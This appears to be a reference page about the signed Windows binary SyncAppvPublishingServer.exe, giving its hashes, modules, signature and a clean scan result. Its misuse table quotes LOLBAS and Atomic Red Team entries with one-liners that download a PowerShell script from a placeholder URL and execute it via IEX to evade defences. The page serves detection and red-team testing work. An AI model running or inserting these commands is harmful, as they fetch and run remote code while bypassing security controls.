SyncAppvPublishingServer.exe

  • File Path: C:\Windows\system32\SyncAppvPublishingServer.exe
  • Description: Microsoft Application Virtualization Sync Utility

Hashes

Type Hash
MD5 104C4F47F750B2C312EF9258C59A86E7
SHA1 5511CDC09B3E5AB22F6A73E75028135A5B2499DC
SHA256 C92228717E28C25E9F8B295BE7849CFCAFED9D76C945BDFB993E683F60AC3586
SHA384 34DB508B53210BC90CC88E42ED4C69EA0E4BE61089401FB884C127804D6A3C17BCBE9C34FD796D4B6DB5DA9A45BCAEA5
SHA512 5F5D84ACDB024529A1A6988A93946DD0B96A07E2333359E2ABA9B586C9C35E706825E234276D75417CD6F6A69EBFA9995661EBC64D0B6DEB33AEE8A36F7B6AC7
SSDEEP 768:W6Fyyphi89jr4jwmp3PwyDdwiBGeSWaZxZEApqiN8fr6wD1PzjR:W6V9jrN8P3DvGCa5Egny3PJ
IMP 1EC41853BAB928648731DDAB143F3159
PESHA1 73E58E409080B6FC243CCF28337FF886C0F83542
PE256 2B265EE08FE1F5B0CD1F931253996E16A0DFB913D47E7E6D2B99D93C92B573A3

Runtime Data

Loaded Modules:

Path
C:\Windows\System32\combase.dll
C:\Windows\System32\GDI32.dll
C:\Windows\System32\gdi32full.dll
C:\Windows\System32\KERNEL32.DLL
C:\Windows\System32\KERNELBASE.dll
C:\Windows\System32\msvcp_win.dll
C:\Windows\SYSTEM32\ntdll.dll
C:\Windows\System32\ole32.dll
C:\Windows\System32\RPCRT4.dll
C:\Windows\System32\SHELL32.dll
C:\Windows\system32\SyncAppvPublishingServer.exe
C:\Windows\System32\ucrtbase.dll
C:\Windows\System32\USER32.dll
C:\Windows\System32\win32u.dll

Signature

  • Status: Signature verified.
  • Serial: 3300000266BD1580EFA75CD6D3000000000266
  • Thumbprint: A4341B9FD50FB9964283220A36A1EF6F6FAA7840
  • Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
  • Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

  • Original Filename: syncappvpublishingserver.exe
  • Product Name: Microsoft Windows Operating System
  • Company Name: Microsoft Corporation
  • File Version: 10.0.19041.488 (WinBuild.160101.0800)
  • Product Version: 10.0.19041.488
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.
  • Machine Type: 64-bit

File Scan

  • VirusTotal Detections: 0/74
  • VirusTotal Link: https://www.virustotal.com/gui/file/c92228717e28c25e9f8b295be7849cfcafed9d76c945bdfb993e683f60ac3586/detection

File Similarity (ssdeep match)

File Score
C:\Windows\system32\SyncAppvPublishingServer.exe 88

Possible Misuse

The following table contains possible examples of SyncAppvPublishingServer.exe being misused. While SyncAppvPublishingServer.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
LOLBAS Syncappvpublishingserver.yml Name: SyncAppvPublishingServer.exe  
LOLBAS Syncappvpublishingserver.yml - Command: SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') \| IEX"  
LOLBAS Syncappvpublishingserver.yml Usecase: Use SyncAppvPublishingServer as a Powershell host to execute Powershell code. Evade defensive counter measures  
LOLBAS Syncappvpublishingserver.yml - Path: C:\Windows\System32\SyncAppvPublishingServer.exe  
LOLBAS Syncappvpublishingserver.yml - Path: C:\Windows\SysWOW64\SyncAppvPublishingServer.exe  
LOLBAS Syncappvpublishingserver.yml - IOC: SyncAppvPublishingServer.exe should never be in use unless App-V is deployed  
LOLBAS Syncappvpublishingserver.yml Name: Syncappvpublishingserver.vbs  
LOLBAS Syncappvpublishingserver.yml - Command: SyncAppvPublishingServer.vbs "n;((New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') \| IEX"  
LOLBAS Syncappvpublishingserver.yml - Path: C:\Windows\System32\SyncAppvPublishingServer.vbs  
atomic-red-team index.md - Atomic Test #2: SyncAppvPublishingServer - Execute arbitrary PowerShell code [windows] MIT License. © 2018 Red Canary
atomic-red-team index.md - Atomic Test #1: SyncAppvPublishingServer Signed Script PowerShell Command Execution [windows] MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - Atomic Test #2: SyncAppvPublishingServer - Execute arbitrary PowerShell code [windows] MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - Atomic Test #1: SyncAppvPublishingServer Signed Script PowerShell Command Execution [windows] MIT License. © 2018 Red Canary
atomic-red-team T1216.md - Atomic Test #1 - SyncAppvPublishingServer Signed Script PowerShell Command Execution MIT License. © 2018 Red Canary
atomic-red-team T1216.md ## Atomic Test #1 - SyncAppvPublishingServer Signed Script PowerShell Command Execution MIT License. © 2018 Red Canary
atomic-red-team T1216.md Executes the signed SyncAppvPublishingServer script with options to execute an arbitrary PowerShell command. MIT License. © 2018 Red Canary
atomic-red-team T1216.md C:\windows\system32\SyncAppvPublishingServer.vbs “\n;#{command_to_execute}” MIT License. © 2018 Red Canary
atomic-red-team T1218.md - Atomic Test #2 - SyncAppvPublishingServer - Execute arbitrary PowerShell code MIT License. © 2018 Red Canary
atomic-red-team T1218.md ## Atomic Test #2 - SyncAppvPublishingServer - Execute arbitrary PowerShell code MIT License. © 2018 Red Canary
atomic-red-team T1218.md Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe. Requires Windows 10. MIT License. © 2018 Red Canary
atomic-red-team T1218.md SyncAppvPublishingServer.exe “n; #{powershell_code}” MIT License. © 2018 Red Canary

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